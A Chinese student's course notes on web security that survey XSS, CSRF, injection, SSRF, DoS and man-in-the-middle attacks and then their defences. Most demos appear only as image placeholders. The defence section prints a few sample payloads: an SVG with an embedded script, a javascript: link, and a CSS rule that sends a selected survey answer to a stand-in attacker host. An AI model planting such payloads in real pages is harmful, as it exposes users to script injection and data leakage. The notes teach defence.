Web开发的安全之旅 | 青训营笔记

凉子木
72 阅读3分钟

这是我参与「第四届青训营 」笔记创作活动的的第7天

从两个角度看Web安全

  • 假如你是一个hacker——攻击
  • 假如你是一个开发者——防御

攻击篇

Cross-Sitr Scripting(XSS)

image.png

XSS主要利用了

image.png

XSS的一些特点

  • 通常难以从UI上感知（暗地执行脚本）
  • 窃取用户信息（cookie/token）
  • 绘制UI（例如弹窗），诱骗用户点击/填写表单

XSS demo

image.png image.png

stored XSS 存储型

  • 恶意脚本被存在数据库中
  • 访问页面->读数据===被攻击
  • 危害最大，对全部用户可见

Reflected XSS 反射型

  • 不涉及数据库
  • 从URL上攻击
Reflected XSS Demo

image.png

DOM-based XSS

  • 不需要服务器的参与
  • 恶意攻击的发起 + 执行，全在浏览器完成
DOM-based XSS Demo

image.png

Relected vs DOM-based

image.png

Mutation-based XSS

  • 利用了浏览器渲染DOM的特性(独特优化)
  • 不同浏览器，会有区别(按浏览器进行攻击) image.png

Cross-site request forgery(CSRF) 跨栈伪造请求

  • 在用户不知情的前提下
  • 利用用户权限(cookie)
  • 构造指定 HTTP 请求，窃取或修改用户敏感信息

CSRF demo

image.png

CSRF--GET

image.png

CSRF--beyoud GET

image.png

Injection 注入

SQL Injection

image.png

Injection demo 1
  • 读取请求字段
  • 直接以字符串的形式拼接SQL语句 image.png image.png

Injection 不止于 SQL

  • CLI
  • OS command
  • Server-Side Request Forgery(SSRF),服务端伪造请求
    • 严格而言，SSRF不是injection，但是原理类似
Injection demo 2 —— 执行

image.png 会删除服务器若干文件 image.png

Injection demo 2 —— 读取+修改

image.png

SSRF demo
  • 请求用户自定义的callback URL
  • web server 通常有内网访问权限 image.png

Denial of Service (DoS)

通过某种方式(构造特定请求)，导致服务器资源被显著消耗，来不及响应更多请求，导致请求挤压，进而雪崩效应。

插播：正则表达式——贪婪模式

image.png

ReDoS：基于正则表达式的DoS

image.png

Distributed DoS（DDoS）

短时间内，来自大量僵尸设备的请求流量，服务器不能及时完成全部请求，导致请求堆积，进而雪崩效应，无法响应新请求。

  • 攻击特点：
    • 直接访问IP
    • 任意API
    • 消耗大量带宽（耗尽）
DDoS demo

image.png

基于传输层的攻击方式

中间人攻击

  • 明文传输
  • 信息篡改不可知
  • 对方信息未验证 image.png

防御篇

针对XSS

  • 永远不信任用户的提交内容
    • 不要将用户提交内容直接转换成DOM，直接当成字符串对待 现成工具：
  • 前端
    • 主流框架默认防御XSS
    • gooogle-closure-library
  • 服务端（Node）
    • DOMPurify 若用户需求必须动态生成DOM：
  1. string->DOM : new DOMParser();需对string进行转义。
  2. 上传svg文件：svg里面可以插入script标签的，所以也要对svg进行过滤。
<svg> <script>alert("xss");</script> </svg>

3.用户自定义的链接：最好不要让用户可以自定义链接，因为可以传递js代码，一定要用则需要做好过滤。

<a href="javascript:alert('xss')"></a>

4.自定义样式：background中嵌套URL


input[type=radio].income-gt10k:checked{
  background:url("https://hacker/com/?income=gt10k")
  }

收入调查，选中选项时，发送get请求，暴露信息

插播：Same-origin Policy 同源策略

image.png

Content Security Police（CSP）

image.png image.png

CSRF的防御

image.png token： image.png image.png iframe攻击： image.png

CSRF anti-pattern

image.png

避免用户信息被携带：SameSite Cookie

image.png image.png

SameSite vs CORS

image.png

SameSite demo

image.png image.png

防御CSRF的正确姿势

CSRF主要是攻击各个接口，不能一个个接口去写，主要是在一个中间件中统一处理 image.png

Injection相关的防御

  • 找到项目中查询SQL的地方
  • 使用prepared statement image.png

Injection beyond SQL

image.png

防御 DoS

Regex DoS

image.png

DDoS

image.png

传输层——防御中间人

image.png

HTTPS的一些特性

  • 可靠性：加密，避免明文传输
  • 完整性：MAC验证，确保信息不被篡改
  • 不可抵赖性：数字签名，确保双方身份可被信任
过程：

image.png

完整性：

image.png

插播：数字签名

image.png

不可抵赖性

image.png

HTTP Strict-Transport-Security（HSTS）

image.png

Subresource Integrity（SRI）

demo

image.png

尾声

  • 安全无小事
  • 使用的依赖（npm package，甚至是NodeJS）可能成为最薄弱的一环
  • 保持学习心态
avatar
文章
阅读
粉丝